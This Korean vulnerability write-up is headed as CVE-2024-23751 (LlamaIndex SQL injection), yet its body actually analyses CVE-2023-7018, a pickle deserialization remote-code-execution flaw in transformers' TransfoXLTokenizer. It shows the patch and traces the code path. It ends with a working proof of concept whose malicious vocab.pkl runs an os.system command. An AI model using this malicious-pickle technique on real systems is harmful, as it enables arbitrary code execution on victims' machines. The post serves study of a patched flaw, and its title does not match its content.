CVE-2024-23751
LlamaIndex/LlamaIndex - SQL Injection
RAG의 정석 - 개념편
- RAG(Retrieval-Augmented Generation) | RAG 간단하게 알아보기
- LLM을 Chain하고 턴을 종료한다. | LangChain 개념 및 사용법
RAG의 정석 - 취약점편
- CVE-2023-7018 | huggingface/transformers - Deserialization of Untrusted Data
- CVE-2024-23751 | LlamaIndex/LlamaIndex - SQL Injection « NOW!
Product | huggingface/transformers 🤗 |
---|---|
Vendor | huggingface |
Severity | 9.6 (Critical) |
Affected Versions | < 4.36.0 |
CVE Identifier | CVE-2023-7018 |
CVE Description | Remote code execution via TransfoXLTokenizer - pickle() function |
CWE Classification(s) | CWE-502: Deserialization of Untrusted Data |
v4.36.0으로 넘어가면서, transfo_xl이 *보안 문제로 deprecated 되었습니다.
이에 따라, v4.36.0에서부터는 transfo_xl이 deprecated/ 폴더에 속하게 되었습니다.
* transformers_official - transfo_xl
class TransfoXLTokenizer(PreTrainedTokenizer):
def __init__(
# ...
try:
vocab_dict = None
if pretrained_vocab_file is not None:
# Priority on pickle files (support PyTorch and TF)
+ if not strtobool(os.environ.get("TRUST_REMOTE_CODE", "False")):
+ raise ValueError(
+ "This part uses `pickle.load` which is insecure and will execute arbitrary code that is "
+ "potentially malicious. It's recommended to never unpickle data that could have come from an "
+ "untrusted source, or that could have been tampered with. If you already verified the pickle "
+ "data and decided to use it, you can set the environment variable "
+ "`TRUST_REMOTE_CODE` to `True` to allow it."
+ )
with open(pretrained_vocab_file, "rb") as f:
vocab_dict = pickle.load(f)
v4.35.2 - src/transformers/models/transfo_xl/tokenization_transfo_xl.py
v4.36.0 - src/transformers/models/deprecated/transfo_xl/tokenization_transfo_xl.py
TransfoXLTokenizer 클래스의 __init__ 함수입니다.
TRUST_REMOTE_CODE 환경변수가 True로 설정되있지 않으면 pickle.load(fp)를 실행하지 않도록 mitigation을 추가한 것을 확인할 수 있습니다.
class TransfoXLCorpus(object):
# ...
@torch_only_method
def get_lm_corpus(datadir, dataset):
fn = os.path.join(datadir, "cache.pt")
fn_pickle = os.path.join(datadir, "cache.pkl")
if os.path.exists(fn):
logger.info("Loading cached dataset...")
corpus = torch.load(fn_pickle)
+ elif os.path.exists(fn):
+ logger.info("Loading cached dataset from pickle...")
+ if not strtobool(os.environ.get("TRUST_REMOTE_CODE", "False")):
+ raise ValueError(
+ "This part uses `pickle.load` which is insecure and will execute arbitrary code that is potentially "
+ "malicious. It's recommended to never unpickle data that could have come from an untrusted source, or "
+ "that could have been tampered with. If you already verified the pickle data and decided to use it, "
+ "you can set the environment variable `TRUST_REMOTE_CODE` to `True` to allow it."
+ )
with open(fn, "rb") as fp:
corpus = pickle.load(fp)
v4.35.2 - src/transformers/models/transfo_xl/tokenization_transfo_xl.py
v4.36.0 - src/transformers/models/deprecated/transfo_xl/tokenization_transfo_xl.py
TransfoXLCorpus 클래스의 get_lm_corpus 함수입니다.
마찬가지로 TRUST_REMOTE_CODE 환경변수가 True로 설정되있지 않으면 pickle.load(fp)를 실행하지 않습니다.
복잡한 상속으로 인해 두 부분으로 나누어서 분석을 진행해야 합니다.
첫 번째는 pickle 함수 도달 방법이며, 두 번째는 pickle 함수 인자의 변화입니다.
class TransfoXLCorpus(object):
@classmethod
@torch_only_method
def from_pretrained(cls, pretrained_model_name_or_path, cache_dir=None, *inputs, **kwargs):
vocab = TransfoXLTokenizer.from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs)
class TransfoXLTokenizer(PreTrainedTokenizer):
def __init__(
# ...
try:
vocab_dict = None
if pretrained_vocab_file is not None:
# Priority on pickle files (support PyTorch and TF)
with open(pretrained_vocab_file, "rb") as f:
vocab_dict = pickle.load(f)
» 악의적인 .pkl 파일이라면 Deserialization 취약점이 발생
pretrained_vocab_file 변수가 설정되어 있다면 pickle 함수에 도달할 수 있다는 결론이 나왔습니다.
But,,,
pretrained_vocab_file 변수의 선언/할당부는 TransfoXLTokenizer 클래스 어디에도 존재하지 않습니다.
pretrained_vocab_file 변수는 from_pretrained 함수에서 선언/할당됩니다.
from_pretrained 함수는 TransfoXLTokenizer의 *부모 클래스인 PreTrainedTokenizerBase에 정의되어 있습니다.
TransfoXLTokenizer < PreTrainedTokenizer < PreTrainedTokenizerBase
* TransfoXLTokenizer에서 선언/할당부를 찾을 수 없었던 이유기도 합니다.
class PreTrainedTokenizerBase(SpecialTokensMixin, PushToHubMixin):
@classmethod
def from_pretrained(
cls,
pretrained_model_name_or_path: Union[str, os.PathLike],
# ...
**kwargs,
):
pretrained_model_name_or_path = str(pretrained_model_name_or_path)
if os.path.isfile(pretrained_model_name_or_path) or is_remote_url(pretrained_model_name_or_path):
# ...
else:
vocab_files = {**cls.vocab_files_names, **additional_files_names}
pretrained_model_name_or_path 인자에 값으로 directory(폴더)를 지정한다면
vocab_files 변수에 클래스에서 정의한 vocab_files_names 값을 대입합니다.
VOCAB_FILES_NAMES = {
"pretrained_vocab_file": "vocab.pkl",
"pretrained_vocab_file_torch": "vocab.bin",
"vocab_file": "vocab.txt",
}
class TransfoXLTokenizer(PreTrainedTokenizer):
vocab_files_names = VOCAB_FILES_NAMES
클래스(TransfoXLTokenizer)에서 정의한 vocab_files_names 변수입니다.
vocab_files_names = VOCAB_FILES_NAMES
vocab_files = {
"pretrained_vocab_file": "vocab.pkl",
"pretrained_vocab_file_torch": "vocab.bin",
"vocab_file": "vocab.txt",
# ...
}
이 과정을 통해 vocab_files 변수는 위와 같은 값을 가지게 됩니다.
for file_id, file_path in vocab_files.items():
if file_path is None:
resolved_vocab_files[file_id] = None
elif single_file_id == file_id:
# ...
else:
resolved_vocab_files[file_id] = cached_file(
pretrained_model_name_or_path,
file_path,
# ...
)
이후 로직으로, 위에서 경로를 directory로 지정했기 때문에 else문으로 분기됩니다.
따라서 vocab_files 변수의 값들은 cached_file 함수를 거쳐서 resoved_vocab_files 변수에 들어가게 됩니다.
def cached_file(
path_or_repo_id: Union[str, os.PathLike],
filename: str,
# ...
):
# ...
path_or_repo_id = str(path_or_repo_id)
full_filename = os.path.join(subfolder, filename)
if os.path.isdir(path_or_repo_id):
resolved_file = os.path.join(os.path.join(path_or_repo_id, subfolder), filename)
# ...
return resolved_file
cached_file 함수는 경로가 directory라면 path_or_repo_id와 filename 변수 두 개를 조합한 결과를 리턴합니다.
pretrained_model_name_or_path 값은 처음 지정했던 경로(directory)입니다.
resolved_vocab_files = {
"pretrained_vocab_file": "DIRECTORY/vocab.pkl",
...
}
즉, resolved_vocab_files엔 위와 같이 들어가게 됩니다.
for args_name, file_path in resolved_vocab_files.items():
if args_name not in init_kwargs:
init_kwargs[args_name] = file_path
init_kwargs = {
"pretrained_vocab_file": "DIRECTORY/vocab.pkl",
...
}
그 후 resolved_vocab_files 변수의 값들은 init_kwargs 변수로 들어갑니다.
@add_end_docstrings(INIT_TOKENIZER_DOCSTRING)
class PreTrainedTokenizerBase(SpecialTokensMixin, PushToHubMixin):
def __init__(self, **kwargs):
# ...
self.init_kwargs = copy.deepcopy(kwargs)
init_kwargs 변수는 부모 클래스인 PreTrainedTokenizerBase의 인자로 선언됩니다.
class TransfoXLTokenizer(PreTrainedTokenizer):
# pretrained_vocab_file = "poc/vocab.pkl"
즉, TransfoXLTokenizer 클래스의 pretrained_vocab_file 변수에 위와 같이 값이 들어가게 됩니다.
- poc/
- vocab.pkl # << pretrained_vocab_file
결론적으로,
그 경로가 pretrained_vocab_file에 들어가게 됩니다.
Product | huggingface/transformers |
---|---|
Version | 4.35.2 |
RECOMMENDED! Install with venv or conda!
# transformers - v4.35.2
$ git clone https://github.com/huggingface/transformers.git --branch v4.35.2 --single-branch transformers-4.35.2
$ cd transformers-4.35.2
$ pip install -e .
# requirements: pytorch, tensorflow
$ pip install torch, tensorflow, sacremoses
import os
import pickle
from transformers.models.transfo_xl import tokenization_transfo_xl
class RCE:
def __reduce__(self):
cmd = "dir"
return os.system, (cmd,)
def generate_malicious_pkl():
payload = pickle.dumps(RCE())
os.makedirs("poc", exist_ok=True)
with open("poc/vocab.pkl", "wb") as f:
f.write(payload)
def exploit():
corpus = tokenization_transfo_xl.TransfoXLCorpus.from_pretrained("poc", local_files_only=True)
if __name__ == "__main__":
generate_malicious_pkl()
exploit()
C 드라이브의 볼륨에는 이름이 없습니다.
C:\Users\User\github\transformers-4.35.2 디렉터리
2024-09-04 오전 01:34 <DIR> .
2024-09-04 오전 01:05 <DIR> ..
2024-09-04 오전 01:05 <DIR> .circleci